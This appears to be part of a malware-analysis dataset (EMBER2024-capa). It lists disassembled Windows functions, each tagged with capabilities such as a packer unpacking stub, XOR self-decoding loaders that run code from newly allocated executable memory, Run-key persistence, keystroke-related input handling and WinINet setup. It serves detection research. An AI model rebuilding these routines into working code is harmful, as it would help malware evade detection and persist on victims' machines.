joyce8/EMBER2024-capa huggingface dataset:
Function at 0x72f010
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x63e015
lea edi, [esi - 0x23d015]
mov dword [edi + 0x2ec150], 0x315024c
push edi
or ebp, 0xffffffff
jmp 0x72f03a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x72f041
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x72f030
mov eax, 1
add ebx, ebx
jne 0x72f053
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x72f064
jne 0x72f083
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x72f083
dec eax
add ebx, ebx
jne 0x72f070
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x72f048
add ebx, ebx
jne 0x72f07f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x72f0d5
xor ecx, ecx
sub eax, 3
jb 0x72f09b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x72f10a
sar eax, 1
mov ebp, eax
jmp 0x72f0a6
add ebx, ebx
jne 0x72f0a6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x72f074
inc ecx
add ebx, ebx
jne 0x72f0b4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x72f074
add ebx, ebx
jne 0x72f0c1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x72f0b6
jne 0x72f0d2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x72f0b6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x72f0f4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x72f0e6
jmp 0x72f036
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x72f0f4
add edi, ecx
jmp 0x72f036
pop esi
mov edi, esi
mov ecx, 0x10cd1
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x72f112
cmp byte [edi], 0x13
jne 0x72f112
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x72f117
lea edi, [esi + 0x32c000]
mov eax, dword [edi]
or eax, eax
je 0x72f186
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x3680d4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x3681b0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x72f144
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x3681b4]
or eax, eax
je 0x72f180
mov dword [ebx], eax
add ebx, 4
jmp 0x72f161
call dword [esi + 0x3681c4]
mov ebp, dword [esi + 0x3681b8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
lea ebx, [esi - 0x1000]
lea edi, [ebx + 0x32f1e1]
push edi
xor eax, eax
stosb byte es:[edi], al
pop ecx
dec ecx
push eax
push 1
push ebx
call ecx
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x72f1d2
sub esp, 0xffffff80
jmp 0x4014a0
Function at 0x1001aeee
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x1001aefd
pop dword [ebp - 0x50]
mov eax, 0xcfd4575b
sub eax, 0xbfd2a85e
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0xc01e1fe0
sub dword [ebp - 0x60], 0x71cbda95
mov dword [ebp - 0x5c], 0xd0d8b26b
sub dword [ebp - 0x5c], 0x9ea56626
mov dword [ebp - 0x58], 0xe75b59e4
add dword [ebp - 0x58], 0x64f0ea4a
mov dword [ebp - 0x54], 0x30384fe4
add dword [ebp - 0x54], 0xcfc7b01c
lea eax, [ebp - 0x60]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x8e457508
add dword [ebp - 0x60], 0xe62cf44e
mov dword [ebp - 0x5c], 0x3ac48c9a
add dword [ebp - 0x5c], 0x6a7d4db
mov dword [ebp - 0x58], 0x5b222b13
sub dword [ebp - 0x58], 0xf7b2bea7
mov dword [ebp - 0x54], 0x3712eb21
sub dword [ebp - 0x54], 0x3712eb21
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0x4435df3b
sub eax, 0x34341f3b
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x3783a
push 0
call eax
mov ecx, 0x10970bef
add ecx, 0xef693c68
xor edi, edi
add edi, eax
mov edx, 0x43f6f6dc
add edx, 0xcc0b7124
add edx, dword [ebp - 0x50]
mov esi, 0x8f1b6733
sub esi, 0x5ade22d0
mov dword [ebp - 0x24], 0xfc625c7d
mov ebx, dword [edx]
xor dword [ebp - 4], 0x360025d6
add ebx, esi
mov dword [ebp - 0xc], 0x8ed1a3a1
mov dword [edi], ebx
add dword [ebp - 4], ebx
add edi, 0xd6f6ffaa
add edi, 0x2909005a
add edx, 0x993101a9
sub edx, 0x993101a5
loop 0x1001b01c
add eax, 0x856f9e
add eax, 0xff7ba491
mov ebx, eax
add eax, 5
mov ecx, 0xb5ef8cd
add ecx, 0x4a10733
add ecx, dword [ebp - 0x50]
call ebx
leave
Function at 0x40a469
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 8], 0
test eax, eax
push ebx
push esi
push edi
jne 0x40a48b
movzx eax, byte [ebp + 8]
imul eax, eax, 0x14
mov edi, dword [eax + 0x427ed8]
mov dword [ebp - 4], edi
jmp 0x40a490
mov dword [ebp - 4], eax
mov edi, eax
movzx esi, byte [ebp + 8]
imul esi, esi, 0x14
xor ebx, ebx
inc ebx
test dword [esi + 0x427edc], edi
je 0x40a4f3
cmp edi, ebx
jne 0x40a4d7
cmp dword [0x427ecc], ebx
jne 0x40a4f7
mov eax, dword [esi + 0x427ed0]
test eax, eax
je 0x40a4f7
mov ecx, dword [eax]
lea edx, [ebp + 8]
push edx
push eax
call dword [ecx + 0xa0]
test eax, eax
jge 0x40a4ef
and dword [esi + 0x427ed0], 0
and dword [esi + 0x427edc], 0xfffffffe
cmp edi, 2
jne 0x40a4f3
xor eax, eax
cmp dword [esi + 0x427ed4], eax
jne 0x40a4ef
and dword [esi + 0x427edc], 0xfffffffd
jmp 0x40a530
mov eax, ebx
jmp 0x40a564
cmp edi, ebx
jne 0x40a529
lea edi, [esi + 0x427ed0]
mov eax, edi
jmp 0x4293e6
cmp edi, 2
jne 0x40a561
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
call dword [sym.imp.WININET.dll_InternetOpenW]
test eax, eax
mov dword [esi + 0x427ed4], eax
je 0x40a561
push 4
lea ecx, [ebp + 8]
push ecx
push 0x41
push eax
mov dword [ebp + 8], ebx
call dword [sym.imp.WININET.dll_InternetSetOptionW]
or dword [esi + 0x427edc], 2
mov dword [ebp - 8], ebx
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40ac20
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push ebx
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp - 4]
push eax
push 1
push 0
mov ebx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push ebx
push 0x80000001
call edi
test eax, eax
jne 0x40ac60
push dword [ebp + 8]
lea esi, [ebp - 4]
push str.IueiOod
call fcn.004069c0
test eax, eax
pop ecx
pop ecx
jne 0x40ac8e
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 1
push 0
push ebx
push 0x80000002
call edi
test eax, eax
je 0x40ac7c
xor eax, eax
jmp 0x40ac8e
push dword [ebp + 8]
lea esi, [ebp - 4]
push str.IueiOod
call fcn.004069c0
pop ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40333c
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x410aa0
call fcn.00406024
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x40323d
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x40323d
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x40323d
cmp dword [eax + 0x400074], 0xe
jbe 0x40323d
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x403241
and dword [ebp - 0x1c], 0
push 1
call main
pop ecx
test eax, eax
jne 0x403255
push 0x1c
call main
pop ecx
call fcn.00407199
test eax, eax
jne 0x403266
push 0x10
call main
pop ecx
call fcn.00406d3d
and dword [ebp - 4], 0
call fcn.00403bed
test eax, eax
jge 0x403280
push 0x1b
call main
pop ecx
call sub.kernel32.dll_GetCommandLineW
mov dword [0x413d00], eax
call fcn.00406ce0
mov dword [0x412ff8], eax
call main
test eax, eax
jge 0x4032a5
push 8
call main
pop ecx
call fcn.00406a03
test eax, eax
jge 0x4032b6
push 9
call main
pop ecx
push 1
call main
pop ecx
test eax, eax
je 0x4032c9
push eax
call main
pop ecx
mov eax, dword [0x413340]
mov dword [0x413344], eax
push eax
push dword [0x413334]
push dword [0x41332c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4032f7
push eax
call main
call fcn.0040428b
jmp 0x40332c
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.00406069
ret
call main
jmp 0x4031eb

Function at 0x40a05b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x40a06a
pop dword [ebp - 0x38]
mov eax, 0x7bb48ff4
sub eax, 0x7b73ef8a
sub dword [ebp - 0x38], eax
push 0x40
push 0x1000
push 0x38734
push 0
mov eax, 0x95935655
sub eax, 0x95527535
add eax, dword [ebp - 0x38]
call dword [eax]
mov ecx, 0xc186b5e1
add ecx, 0x3e798e4e
xor edx, edx
add edx, eax
mov ebx, 0x18bf82ba
sub ebx, 0x187e0aba
add ebx, dword [ebp - 0x38]
mov esi, 0x2fe0ce42
add esi, 0x9204991
mov edi, dword [ebx]
xor dword [ebp - 0x2c], edx
add edi, esi
mov dword [ebp - 4], 0x443d45bc
mov dword [edx], edi
xor dword [ebp - 0x30], 0xb6705341
add edx, 4
add ebx, 4
loop 0x40a0cb
add eax, 0x8a76d732
sub eax, 0x8a75d3a3
xor ebx, ebx
add ebx, eax
add eax, 0xcec3df6e
add eax, 0x313c2097
mov ecx, 0x7f7e51c8
sub ecx, 0x7f3e51c8
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x4018b0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0xc]
push edi
mov edi, eax
mov eax, dword [ebp + 8]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x4018cd
pop edi
pop ebx
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x401904
mov ecx, dword [ebp + 8]
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
add eax, esi
and edi, 0xf
jbe 0x401900
lea ecx, [ecx]
cmp esi, eax
jae 0x401904
sub edi, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x4018f0
cmp esi, eax
jb 0x40190b
pop esi
pop edi
xor eax, eax
pop ebx
pop ebp
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x402c90
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
xor eax, eax
movzx esi, ax
push edi
add edx, 4
mov eax, esi
shl esi, 0x10
or eax, esi
mov edi, edx
mov ecx, 0x82
rep stosd dword es:[edi], eax
lea eax, [ebp - 4]
push eax
push edx
lea ecx, [ebp - 8]
push ecx
push 0x4aa7c0
push str.SOFTWAREMicrosoftWindowsCurrentVersionApp_PathsQHSafeMain.exe
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 4], 0x208
mov dword [ebp - 8], 1
call dword [sym.imp.SHLWAPI.dll_SHGetValueW]
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x402de0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x4c9614]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x208
lea eax, [ebp - 0x20c]
push 0
push eax
mov dword [ebp - 0x210], 0
call fcn.004845b0
add esp, 0xc
lea ecx, [ebp - 0x214]
push ecx
lea edx, [ebp - 0x20c]
push edx
lea eax, [ebp - 0x210]
push eax
push 0x4aa7c0
push str.SOFTWAREMicrosoftWindowsCurrentVersionApp_PathsQHSafeMain.exe
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x214], 0x208
mov dword [ebp - 0x210], 1
call dword [sym.imp.SHLWAPI.dll_SHGetValueW]
test eax, eax
jne 0x402e96
mov eax, dword [ebp - 0x214]
shr eax, 1
dec eax
cmp eax, 0x104
jae 0x402e96
cmp word [ebp + eax*2 - 0x20c], 0x5c
je 0x402e8e
cmp eax, 0x103
jae 0x402e96
mov ecx, 0x5c
xor edx, edx
mov word [ebp + eax*2 - 0x20c], cx
mov word [ebp + eax*2 - 0x20a], dx
lea ecx, [ebp - 0x20c]
jmp 0x402e9b
mov ecx, 0x4aa7ac
push esi
call fcn.00403ba0
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, esi
call fcn.0047e6eb
mov esp, ebp
pop ebp
ret
Function at 0x406e50
Capabilities:
Check os version
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [0x4c9614]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
mov eax, 1
push esi
push edi
cmp dword [0x4cf654], eax
jne 0x406e92
mov edi, ebx
mov ecx, 0x45
mov esi, 0x4cf540
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0047e6eb
mov esp, ebp
pop ebp
ret
push 0x4cf540
mov dword [0x4cf654], eax
mov dword [0x4cf540], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
jne 0x406f61
push 0x3f
push eax
mov byte [ebp - 0x44], al
lea eax, [ebp - 0x43]
push eax
call fcn.004845b0
add esp, 0xc
lea ecx, [ebp - 0x4c]
push ecx
lea edx, [ebp - 0x44]
push edx
lea eax, [ebp - 0x48]
push eax
push 0x4aa82c
push 0x4aa850
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x48], 1
mov dword [ebp - 0x4c], 0x40
call dword [sym.imp.SHLWAPI.dll_SHGetValueW]
test eax, eax
jne 0x406f23
movsx ecx, byte [ebp - 0x44]
lea edx, [ebp - 0x42]
sub ecx, 0x30
push edx
mov dword [0x4cf550], 2
mov dword [0x4cf544], ecx
call fcn.0047e78d
add esp, 4
mov dword [0x4cf548], eax
jmp 0x406f61
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov edx, eax
shr edx, 8
movzx edx, dl
movzx ecx, al
mov dword [0x4cf548], edx
mov edx, 4
cmp edx, ecx
mov dword [0x4cf544], ecx
sbb ecx, ecx
neg ecx
inc ecx
mov dword [0x4cf550], ecx
cmp eax, 0x80000000
jae 0x406f61
shr eax, 0x10
mov dword [0x4cf54c], eax
mov ecx, 0x45
mov esi, 0x4cf540
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [0x4cf544]
cmp eax, 6
ja 0x406f84
jne 0x406fc2
cmp dword [0x4cf548], 2
jb 0x406fc2
push str.RtlGetVersion
push str.ntdll.dll
mov dword [0x4cf540], 0x114
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x406fc2
push 0x4cf540
call eax
test eax, eax
jne 0x406fc2
mov ecx, 0x45
mov esi, 0x4cf540
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.0047e6eb
mov esp, ebp
pop ebp
ret

Function at 0x407290
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
mov eax, dword [0x4c9614]
xor eax, ebp
mov dword [ebp - 4], eax
push pe_nt_image_headers32
lea eax, [ebp - 0x114]
push 0
push eax
mov dword [ebp - 0x118], 0x114
call fcn.004845b0
add esp, 0xc
lea ecx, [ebp - 0x118]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x4072fd
mov eax, dword [ebp - 0x114]
cmp eax, 5
jae 0x4072ed
cmp eax, 4
jne 0x4072fd
cmp dword [ebp - 0x110], 0x5a
jb 0x4072fd
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0047e6eb
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 1
call fcn.0047e6eb
mov esp, ebp
pop ebp
ret
Function at 0x40a6f0
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call dword [sym.imp.USER32.dll_AllowSetForegroundWindow]
test eax, eax
jne 0x40a70b
mov esp, ebp
pop ebp
ret
mov dword [ebp - 4], 1
call dword [sym.imp.USER32.dll_GetForegroundWindow]
cmp eax, esi
jne 0x40a725
mov eax, 1
mov esp, ebp
pop ebp
ret
push ebx
push edi
lea ecx, [ebp - 8]
push ecx
push eax
mov dword [ebp - 8], 0
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebx, eax
cmp edi, ebx
je 0x40a7fa
push 1
push edi
push ebx
call dword [sym.imp.USER32.dll_AttachThreadInput]
push esi
call dword [sym.imp.USER32.dll_SetForegroundWindow]
test eax, eax
je 0x40a77a
push esi
call dword [sym.imp.USER32.dll_SetActiveWindow]
push 0
push edi
push ebx
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov eax, dword [ebp - 4]
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 8]
push edx
call fcn.0040a6a0
add esp, 4
test eax, eax
je 0x40a7e0
push esi
call dword [sym.imp.USER32.dll_SetForegroundWindow]
test eax, eax
je 0x40a7c0
push esi
call dword [sym.imp.USER32.dll_SetActiveWindow]
test eax, eax
je 0x40a7c7
push esi
call dword [sym.imp.USER32.dll_SetFocus]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 0
push edi
push ebx
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov eax, dword [ebp - 4]
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 0
push edi
push ebx
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov eax, dword [ebp - 4]
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push edi
push ebx
mov dword [ebp - 4], 0
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov eax, dword [ebp - 4]
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov eax, dword [ebp - 4]
pop edi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40a810
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
mov eax, dword [0x4c9614]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0xff
lea eax, [ebp - 0x103]
push 0
push eax
mov edi, ecx
mov byte [ebp - 0x104], 0
call fcn.004845b0
add esp, 0xc
lea ecx, [ebp - 0x104]
push ecx
xor esi, esi
call dword [sym.imp.USER32.dll_GetKeyboardState]
mov ebx, dword [sym.imp.USER32.dll_keybd_event]
test eax, eax
je 0x40a874
test byte [ebp - 0xf2], 0x80
jne 0x40a874
push esi
push 1
push esi
push 0x12
call ebx
mov esi, 1
push edi
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov edi, eax
test esi, esi
je 0x40a88b
push 0
push 3
push 0
push 0x12
call ebx
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0047e6eb
mov esp, ebp
pop ebp
ret
Function at 0x40a980
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2014
call fcn.004957d0
mov eax, dword [0x4c9614]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
xor ebx, ebx
mov dword [ebp - 0x2010], eax
cmp esi, ebx
je 0x40aa4f
push 0x1fff
lea ecx, [ebp - 0x2003]
push ebx
push ecx
mov byte [ebp - 0x2004], bl
call fcn.004845b0
add esp, 0xc
lea edx, [ebp - 0x2014]
push edx
push esi
mov dword [ebp - 0x2014], ebx
call sub.VERSION.dll_GetFileVersionInfoSizeW
cmp eax, ebx
je 0x40aa4f
cmp eax, 0x1fff
ja 0x40aa4f
lea ecx, [ebp - 0x2004]
push ecx
push eax
push ebx
push esi
call sub.VERSION.dll_GetFileVersionInfoW
test eax, eax
je 0x40aa3e
lea edx, [ebp - 0x200c]
push edx
lea eax, [ebp - 0x2008]
push eax
push 0x4aa7bc
lea ecx, [ebp - 0x2004]
push ecx
mov dword [ebp - 0x2008], ebx
mov dword [ebp - 0x200c], ebx
call sub.VERSION.dll_VerQueryValueW
test eax, eax
je 0x40aa3e
mov eax, dword [ebp - 0x2008]
mov edx, dword [eax + 8]
mov ecx, dword [ebp - 0x2010]
mov dword [edi], edx
mov eax, dword [eax + 0xc]
mov dword [ecx], eax
mov bl, 1
mov al, bl
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0047e6eb
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor al, al
pop ebx
call fcn.0047e6eb
mov esp, ebp
pop ebp
ret
Function at 0x40b9c0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [edi]
lea ecx, [ebp - 4]
push ecx
push esi
add eax, eax
lea edx, [ebp + 8]
push edx
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push 0
push 0x4aa7ac
push ecx
mov dword [edi], 0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40ba2f
mov eax, dword [ebp + 8]
cmp eax, 1
je 0x40b9fe
cmp eax, 2
jne 0x40ba19
mov eax, dword [ebp - 4]
test esi, esi
je 0x40ba29
test eax, eax
je 0x40ba24
test al, 1
jne 0x40ba19
mov edx, eax
shr edx, 1
cmp word [esi + edx*2 - 2], 0
je 0x40ba29
mov eax, 0xd
mov esp, ebp
pop ebp
ret 4
xor ecx, ecx
mov word [esi], cx
shr eax, 1
mov dword [edi], eax
xor eax, eax
mov esp, ebp
pop ebp
ret 4

Function at 0x40c640
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x568
mov eax, dword [0x4c9614]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push 0x11c
lea eax, [ebp - 0x530]
mov esi, ecx
push 0
push eax
mov dword [ebp - 0x534], esi
call fcn.004845b0
push 0x11c
push 0
push ebx
mov dword [ebp - 0x530], 0x11c
call fcn.004845b0
add esp, 0x18
push ebx
mov dword [ebx], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [ebx + 4], 5
jne 0x40c6b5
call fcn.0040c540
test eax, eax
je 0x40c6b5
mov dword [esi + 4], 0
jmp 0x40c7a2
push str.RtlGetVersion
push str.ntdll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40c6d9
lea ecx, [ebp - 0x530]
push ecx
call eax
mov eax, dword [ebx + 4]
lea edx, [eax + eax*4]
mov eax, dword [ebx + 8]
push edi
lea edi, [eax + edx*2]
mov eax, dword [ebp - 0x52c]
mov edx, dword [ebp - 0x528]
lea ecx, [eax + eax*4]
lea eax, [edx + ecx*2]
cmp eax, edi
jle 0x40c70d
mov ecx, 0x47
lea esi, [ebp - 0x530]
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
mov edi, eax
xor eax, eax
push 0x40e
push eax
lea ecx, [ebp - 0x412]
push ecx
mov word [ebp - 0x414], ax
call fcn.004845b0
add esp, 0xc
lea esi, [ebp - 0x414]
call fcn.0040c590
test eax, eax
jl 0x40c794
lea edx, [ebp - 0x568]
push edx
mov eax, esi
call fcn.0040c7c0
test eax, eax
je 0x40c794
mov ecx, dword [ebp - 0x558]
mov eax, ecx
shr eax, 0x10
movzx ecx, cx
lea edx, [eax + eax*4]
lea edx, [ecx + edx*2]
cmp edi, edx
jge 0x40c785
mov dword [ebx + 4], eax
mov eax, dword [ebp - 0x554]
mov dword [ebx + 8], ecx
mov ecx, dword [ebp - 0x534]
shr eax, 0x10
mov dword [ebx + 0xc], eax
mov dword [ecx + 4], 1
jmp 0x40c7a1
mov edx, dword [ebp - 0x534]
mov dword [edx + 4], 0
jmp 0x40c7a1
mov eax, dword [ebp - 0x534]
mov dword [eax + 4], 0
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.0047e6eb
mov esp, ebp
pop ebp
ret 4
Function at 0x40c7c0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push 2
xor ebx, ebx
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
je 0x40c844
push 0x10
push 1
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
je 0x40c83d
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x40c83d
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 8], eax
test eax, eax
je 0x40c836
mov ecx, dword [ebp - 4]
push ecx
call fcn.0047fde5
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x40c836
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 8]
push edx
push eax
push ebx
call fcn.00485ed0
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor esi, esi
cmp ebx, esi
je 0x40c882
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 4]
push edx
push 0x4aa7bc
push ebx
mov dword [ebp - 4], esi
mov dword [ebp - 8], esi
call sub.VERSION.dll_VerQueryValueW
test eax, eax
je 0x40c879
mov esi, dword [ebp - 4]
mov edi, dword [ebp + 8]
mov ecx, 0xd
rep movsd dword es:[edi], dword [esi]
mov esi, 1
push ebx
call fcn.0047ff1e
add esp, 4
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40ce50
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
cmp word [0x4cfd70], 0
jne 0x40ce90
lea eax, [ebp - 4]
push eax
push 0x4cfd70
lea ecx, [ebp - 8]
push ecx
push 0x4aa7c0
push str.SOFTWAREMicrosoftWindowsCurrentVersionApp_PathsQHSafeMain.exe
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 4], 0x207
mov dword [ebp - 8], 1
call dword [sym.imp.SHLWAPI.dll_SHGetValueW]
cmp word [0x4cff78], 0
jne 0x40ceb6
push 0x4cfd70
push 0x4aafb8
push 0x104
push 0x4cff78
call fcn.0040bdc0
add esp, 0x10
cmp word [0x4d0180], 0
jne 0x40cf07
mov edx, 0x104
mov eax, 0x4d0180
lea ebx, [ebx]
lea ecx, [edx + 0x7ffffefa]
test ecx, ecx
je 0x40cefb
movzx ecx, word [eax - 0x410]
test cx, cx
je 0x40cefb
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x40ced0
sub eax, 2
mov word [eax], dx
mov esp, ebp
pop ebp
ret
test edx, edx
jne 0x40cf02
sub eax, 2
xor edx, edx
mov word [eax], dx
mov esp, ebp
pop ebp
ret